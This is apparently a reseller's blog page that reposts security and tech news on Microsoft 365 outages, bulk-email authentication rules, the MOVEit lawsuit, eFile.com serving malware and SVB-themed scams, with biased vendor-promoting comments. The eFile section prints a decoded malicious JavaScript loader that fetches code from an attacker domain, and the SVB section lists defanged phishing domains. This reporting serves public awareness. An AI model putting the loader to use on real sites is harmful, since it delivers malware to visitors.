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Microsoft 365 suite is now WARN

I feel so sorry for folks that use O365..most of you are glutton for punishment. They provide no really true US support considering they take you money either monthly or yearly..Unfortunately most Major Firms use O365. think about looking around..careful with O365 for Malware and phishing attacks

Anyway

Some users may be unable to sign into the Microsoft To Do service
Title: Some users may be unable to sign into the Microsoft To Do service User impact: Users may be unable to sign into the Microsoft To Do service. Current status: We’re reviewing network traces to isolate the source of this issue and identify our troubleshooting actions. Scope of impact: Impact may occur for all users when attempting to sign into the Microsoft

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Microsoft 365 admins warned of new Google anti-spam rules

By Sergiu Gatlan October 8, 2023 11:09 AM

After you read this article you will understand why I do not carry O365 nor Google products in my security lines.
To all MSP’s/ Vars get ready you work load is about to get very heavy supporting you clients

Microsoft 365 email senders were warned by Microsoft this week to authenticate outbound messages, a move prompted by Google’s recent announcement of stricter anti-spam rules for bulk senders.

“By setting up email authentication for your domain, you can ensure that your messages are less likely to be rejected or marked as spam by email providers like Gmail, Yahoo, AOL, Outlook.com,” the Microsoft Defender for Office 365 team said.

“This is especially important when sending bulk email (large volume email), as it helps maintain the deliverability and reputation of your email campaigns.”

Failure to follow newly announced email authentication standards might lead to emails being rejected or tagged as spam.

Microsoft also warned that the Microsoft 365 service should not be used for bulk emailing, as emails not following sending limits will be blocked or sent to special high-risk delivery pools by outbound spam controls built within Exchange Online Protection (EOP).

Those who want to send bulk emails should use their own on-premises email servers or third-party mass mailing providers, which will help ensure good email-sending practices.

Organizations that want to deliver bulk emails through EOP will have to abide by this outbound spam protection guidance:

Exercise caution not to exceed the sending limits in the service by sending emails at a high rate or volume. This includes refraining from sending emails to a large list of BCC recipients.
Refrain from using addresses in your primary email domain as senders for bulk emails, as it may impact the delivery of regular emails from senders within the domain. Instead, consider utilizing a custom subdomain exclusively for bulk email.
Ensure that any custom subdomains are configured with email authentication records in DNS, including SPF, DKIM, and DMARC.
However, Microsoft cautioned that even “following these recommendations does not guarantee delivery. If your email is rejected as bulk, send it through on-premises or a third-party provider instead.”

Redmond’s warning was prompted by Google’s announcement regarding the introduction of new anti-spam guidelines targeting senders of over 5,000 daily emails to Gmail users.

Starting February 1st, 2024, Google will mandate senders exceeding this threshold to implement SPF/DKIM and DMARC email authentication for their domains. This measure aims to bolster defenses against email spoofing and phishing attempts.

Furthermore, bulk senders must provide Gmail recipients with a one-click option to unsubscribe from commercial emails and promptly address unsubscription requests within two days.

As part of these efforts to combat spam, Google said it will also closely monitor spam thresholds and, in cases where abusive bulk senders are identified, it will mark their emails as spam to protect users from unsolicited and potentially harmful messages.

“If you don’t meet the requirements [..], your email might not be delivered as expected, or might be marked as spam,” Google warned.

Article (https://www.bleepingcomputer.com/news/security/microsoft-365-admins-warned-of-new-google-anti-spam-rules/)

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I do support UAW folks need fair wages read below

Without employee’s these would go broke. Companies have forgotten fair compensation rules

Amazon Prime Video to include ads in 2024 — unless users pay $2.99 a month to get rid of them
Are you serious they already get paid from advertisers, now they want us to pay them also..personally if it went to the employees and drivers I would have no problem paying the fee

Costco exec says membership fee increase question of ‘when, not if’
I know what I pay annually and the membership is not cheap..again I have no issue in paying more if it was given to the employees equally
Working at Costco isn’t typically considered a sustainable career, but the company has better wages and benefits than some of its competitors. According to ZipRecruiter, the average hourly pay for a Costco employee in the U.S. is $20.52 per hour, or $42,688 per year, which is about the same as a teacher’s.

What is the point of a CC lock if the bank does not include card lock won’t affect autopsy transactions; Way to many industries make it nearly impossible to shut down auto pays example from the 90’s was Symantec and McAfee
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We are all customers of the banks they make 2-3% on every transaction. contact your bank and ask to have the auto lock apply to all transactions. This is a big bone of contention with me

Which Issuers Offer a Credit Card Lock?
Most major credit card issuers offer credit card locks or freezes. They include:

American Express. American Express allows for a seven-day card freeze.

Capital One. You can instantly lock your credit card on Capital One’s app. The card can still accept returns, credits and dispute adjustments during the lock, and some payments are exempted.

Chase. The company allows customers to block new purchases, cash advances and balance transfers made with the physical card or card number. Digital wallet purchases are still allowed, and the card lock won’t affect autopay transactions, credits or fees. If someone tries to make a purchase on a blocked card, Chase will notify the cardholder by email. BIG UNDERWRITER OF CREDIT CARDS, SOUTHWEST, AMAZON. big offender

Citi. The lock/unlock feature on the Citi Mobile App allows cardholders to block new, nonrecurring charges.

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Software Makers May Face Greater Liability in Wake of MOVEit Lawsuit

Makers of vulnerable apps that are exploited in wide-scale supply chain attacks need to improve software security or face steep fines and settlement fees.
Elizabeth Montalbano Contributor, Dark Reading (August 22, 2023)

Roy Comment great article way to many firms are using “Terms and Conditions on there web sites to try and avoid litigation” Microsoft is a great example, I can name many others that I come in contact with, another example is RackSpace totally hosed the mail world with there security breach Dec 2022. All firms need to be held accountable/and financially for security breaches

A nationwide class-action suit filed against Progress Software in the wake of the massive MOVEit breach could point to additional litigation against software companies whose vulnerable applications are exploited in large-scale supply chain attacks, a legal expert says.

Progress faces claims of negligence and breach of contract, among others, in five nationwide class-action lawsuits filed by consumer-rights law firm Hagens Berman after the Cl0p ransomware gang exploited a critical zero-day flaw in its MOVEit managed file transfer application.

The attack has affected both multinational, high-profile million- and billion-dollar organizations — Shell Oil and British Airways among them — as well as smaller organizations both public and private who deploy MOVEit to exchange sensitive data and large files both internally and externally.

Environments that had vulnerable versions of the software installed exposed sensitive personally identifiable information (PII) of customers, including names, Social Security numbers, birth dates, demographic information, insurance policy numbers, and other financial information.

Hagens Berman claims that in all, Progress has compromised the sensitive personal information of more than 40 million people, and promises that more class actions are on the way as more of the 600 affected organizations come forward.

The suits claim that Progress failed “to properly secure and safeguard personally identifiable information,” thus exposing plaintiffs to “a current and ongoing risk of identity theft” as well as invasion of privacy, financial costs, loss of time and loss of productivity, according to a court filing. Moreover, they face a continued risk that their private information will be misused by criminals.

Depending on how the case proceeds, it could set further precedent for the liability of software providers if and when they fail to fix vulnerabilities in their products before attackers can exploit them and cause data, financial, and other losses for their customers.

Article (https://www.darkreading.com/attacks-breaches/software-vendors-may-face-greater-liability-in-wake-of-moveit-lawsuit?_mc=NL_DR_EDT_DR_weekly_20230824&cid=NL_DR_EDT_DR_weekly_20230824&sp_aid=117842&elq_cid=34964379&sp_eh=949bacdba1e2c4851acc11df0ff47140b1c6468716621bc723fe5fe498198bd9&sp_eh=949bacdba1e2c4851acc11df0ff47140b1c6468716621bc723fe5fe498198bd9&sp_cid=49587)

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Microsoft 365 outage blocks access to web apps and services

By Sergiu Gatlan April 20, 2023 10:24 AM

My Comments:
Why do you folks put up with Microsoft?? If you want to safe guard your clients information at least use MspPortal/Barracuda product called Total Mail Protection, save it off the Microsoft Network wholesale pricing is very inexpensive but call for pricing

Microsoft is investigating an ongoing outage blocking customers worldwide from accessing and using web apps like Excel Online and online services.

The list of affected services includes Microsoft 365 suite, Exchange Online, SharePoint Online, Yammer Enterprise, Planner, Microsoft Teams, Microsoft 365 for the web, and Project for the web.

According to reports, customers are experiencing problems when trying to sign into their accounts and will see that no web apps are available once in.

“We’re investigating access issues with Microsoft 365 Online apps and the Teams admin center. Further information can be found under OO544150 within the Microsoft 365 admin center,” the company tweeted earlier today.

“Users may be intermittently unable to view or access web apps in Microsoft 365. We’re reviewing service monitoring telemetry to isolate the root cause and develop a remediation plan,” the admin center incident report says.

In some cases, a banner displayed at the top of the screen asks “new” users to reach out to their IT department to help with the issue.

“New to Microsoft 365? This is your Microsoft 365 home page where you can see and access all of your apps. If it’s empty, it could be that your user license was very recently assigned to you,” the notification reads.

“Wait 10 minutes and refresh this page. If you still don’t see any apps, contact your IT department. They can help you get up and running.”

We’re investigating access issues with Microsoft 365 Online apps and the Teams admin center. Further information can be found under OO544150 within the Microsoft 365 admin center.
— Microsoft 365 Status (@MSFT365Status) April 20, 2023

According to the latest updates provided by Microsoft in the admin center, the out was caused by caching infrastructure performing below acceptable performance thresholds and leading to timeout exceptions.

“Analysis of diagnostic data has identified an unusually high number of timeout exceptions within our caching and Azure Active Directory (AAD) infrastructure. We’re working to isolate the cause of these exceptions whilst identifying steps to remediate impact,” Microsoft said.

Until this Microsoft 365 outage is addressed, users can access applications through direct URLs. Microsoft provides the following examples:

Microsoft 365 Admin Center – admin.microsoft.com
Outlook – outlook.office.com
Microsoft Teams – teams.microsoft.com
Word Online – microsoft365.com/launch/word
Excel Online – microsoft365.com/launch/excel

Another outage took down multiple Microsoft 365 services in January after a router IP address change caused packet forwarding issues between routers in Microsoft’s Wide Area Network (WAN).

Services affected by the January 2023 outage included Microsoft Teams, Exchange Online, Outlook, SharePoint Online, OneDrive, the Microsoft 365 Admin Center, Microsoft Graph, Microsoft Intune, and several Microsoft Defender products.

Update April 20, 13:23 EDT: Microsoft is investigating high CPU usage impacting infrastructure processing back-end navigation feature APIs.

Until the outage is resolved, customers can access the Microsoft 365 admin center via http://admin.microsoft.com.

We’re investigating high CPU utilization on the components which process back-end navigation feature APIs. Further details are under MO544165 in the admin center. As the admin center currently does not appear within the Waffle, use https://t.co/EdTvCQNMih to access the service.
— Microsoft 365 Status (@MSFT365Status) April 20, 2023

Link (https://www.bleepingcomputer.com/news/microsoft/microsoft-365-outage-blocks-access-to-web-apps-and-services/)

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IRS-authorized eFile.com tax return software caught serving JS malware

By Ax Sharma April 4, 2023 05:00 AM

If it was not already bad enough with the Banking issues going on

eFile.com, an IRS-authorized e-file software service provider used by many for filing their tax returns, has been caught serving JavaScript malware.

Security researchers state the malicious JavaScript file existed on eFile.com website for weeks. BleepingComputer has been able to confirm the existence of the malicious JavaScript file in question, at the time.

Note, this security incident specifically concerns eFile.com and not IRS’ e-file infrastructure or identical sounding domains.
Just in time for tax season

eFile.com was caught serving malware, as spotted by multiple users and researchers. The malicious JavaScript file in question is called ‘popper.js’:
eFile.com serving malicious popper.js file
The ‘popper.js’ file used by eFile.com across its webpages contains malware
​​​(BleepingComputer)

The development comes at a crucial time when U.S. taxpayers are wrapping up their IRS tax returns before the April 18th due date.

The highlighted code above is base64-encoded with its decoded version shown below. The code attempts to load JavaScript returned by infoamanewonliag[.]online:
s=document.createElement(‘script’);
document.body.appendChild(s);
s.src=’//www.infoamanewonliag[.]online/update/index.php?’+Math.random();

The use of Math.random() at the end is likely to prevent caching and load a fresh copy of the malware—should the threat actor make any changes to it, every time eFile.com is visited. At the time of writing, the endpoint was no longer up.

BleepingComputer can confirm, the malicious JavaScript file ‘popper.js’ was being loaded by almost every page of eFile.com, at least up until April 1st.
eFile.com pages serving popper.js
eFile.com pages serving poppers.js (BleepingComputer)

As of today, the file is no longer seen serving the malicious code.
Website ‘hijacked’ over 2 weeks ago

On March 17th, a Reddit thread surfaced where multiple eFile.com users suspected the website was “hijacked.”

At the time, the website showed an SSL error message that, some suspected, was fake and indicative of a hack:

Article (https://www.bleepingcomputer.com/news/security/irs-authorized-efilecom-tax-return-software-caught-serving-js-malware/)

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Cybercriminals exploit SVB collapse to steal money and data

By Bill Toulas March 14, 2023 11:55 AM

My thoughts using Barracuda Complte Mail Protection in front of O365 or G-suite is very in expensive compared to your complet network or computers being taking down with malware.

 
The collapse of the Silicon Valley Bank (SVB) on March 10, 2023, has sent ripples of turbulence throughout the global financial system, but for hackers, scammers, and phishing campaigns, it’s becoming an excellent opportunity.

As multiple security researchers report, threat actors are already registering suspicious domains, conducting phishing pages, and gearing up for business email compromise (BEC) attacks.

These campaigns aim to steal money, steal account data, or infect targets with malware.
SVB going defunct

SVB was a U.S.-based commercial bank, the 16th largest in the country, and the largest bank by deposits in Silicon Valley, California.

On March 10, 2023, the bank failed after a run on its deposits. This failure was the largest of any bank since the 2007-2008 financial crisis and the second-largest in U.S. history.

This event has impacted many businesses and people in the technology, life science, healthcare, private equity, venture capital, and premium wine industries who were customers of SVB.

The chaotic situation is further worsened by the prevailing elements of urgency, uncertainty, and the significant amounts of money deposited at the bank.
Scammers jump at the opportunity

 

Security researcher Johannes Ulrich reported yesterday that threat actors are jumping at the opportunity, registering suspicious domains related to SVB that are very likely to be used in attacks.

Some of the examples given in a report published on the SANS ISC website include:

login-svb[.]com
svbbailout[.]com
svbcertificates[.]com
svbclaim[.]com
svbcollapse[.]com
svbdeposits[.]com
svbhelp[.]com
svblawsuit[.]com

Ulrich warned that the scammers might attempt to contact former clients of SVB to offer them a support package, legal services, loans, or other fake services relating to the bank’s collapse.

An attack already seen in the wild is from BEC threat actors who are impersonating SVB customers and telling customers that they need payments sent to a new bank account after the bank’s collapse.

However, these bank accounts belong to the threat actors, who steal payments meant to go to the legitimate company.

Cyber-intelligence firm Cyble published a similar report today exploring developing SVB-themed threats, warning about these additional domains:

svbdebt[.]com
svbclaims[.]net
svb-usdc[.]com
svb-usdc[.]net
svbi[.]io
banksvb[.]com
svbank[.]com
svblogin[.]com

Many of these sites were registered on the day of the bank’s collapse, March 10, 2023, and are already hosting cryptocurrency scams.

These scam pages tell SVB customers that the bank is distributing USDC as part of a “payback” program.

“March 13 2023 – Silicon Valley Bank is actively distributing USDC as part of the SVB USDC payback program to eligible USDC holders. USDC payouts can only be claimed once per wallet,” claims the cryptocurrency scam.

However, clicking on the site’s ‘Click here to claim’ button brings up a QR code that attempts to compromise Metamask, Exodus, and the Trust Wallet crypto wallets when scanned.

Article (https://www.bleepingcomputer.com/news/security/cybercriminals-exploit-svb-collapse-to-steal-money-and-data/)
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Microsoft 365 outage takes down Teams, Exchange Online, Outlook

By Sergiu Gatlan January 25, 2023 04:11 AM

MspPortal Partners Comment: I hate to say this but all companies are a gluten for punishment, Microsoft needs to stay in the Software development space not the hosting environment. There support is one of the worst in the industry, they need to refund dollars for downtime.
There is much better products in the market place.

Microsoft is investigating an ongoing outage impacting multiple Microsoft 365 services after customers have reported experiencing connection issues.

“We’re investigating issues impacting multiple Microsoft 365 services. We’ve identified a potential networking issue and are reviewing telemetry to determine the next troubleshooting steps,” the Microsoft 365 team said in a Twitter thread.

“We’ve isolated the problem to networking configuration issues, and we’re analyzing the best mitigation strategy to address these without causing additional impact.

According to Redmond, users across all regions currently being serviced by the impacted infrastructure may be unable to access the affected Microsoft 365 services.

The list of services impacted by this outage includes Microsoft Teams, Exchange Online, Outlook, SharePoint Online, OneDrive for Business, PowerBi, Microsoft 365 Admin Center, Microsoft Graph, Microsoft Intune, Microsoft Defender for Cloud Apps, and Microsoft Defender for Identity, as revealed in a service health notification.

We’re investigating issues impacting multiple Microsoft 365 services. More info can be found in the admin center under MO502273.
— Microsoft 365 Status (@MSFT365Status) January 25, 2023

The Azure team shared additional information related to this incident on the Microsoft Azure service status page.

“Starting at 07:05 UTC on 25 January 2023, customers may experience issues with networking connectivity, manifesting as network latency and/or timeouts when attempting to connect to Azure resources in Public Azure regions, as well as other Microsoft services including M365, PowerBI,” the update reads.

“We’ve determined the network connectivity issue is occurring with devices across the Microsoft Wide Area Network (WAN). This impacts connectivity between clients on the internet to Azure, as well as connectivity between services in datacenters, as well as ExpressRoute connections.

“The issue is causing impact in waves, peaking approximately every 30 minutes. We are actively investigating and will share updates as soon as more is known.”

At the moment, some customers also have issues loading the Microsoft Azure status page, which intermittently displays “504 Gateway Time-out” errors.
Azure status page error

Article (https://www.bleepingcomputer.com/news/microsoft/microsoft-365-outage-takes-down-teams-exchange-online-outlook/)

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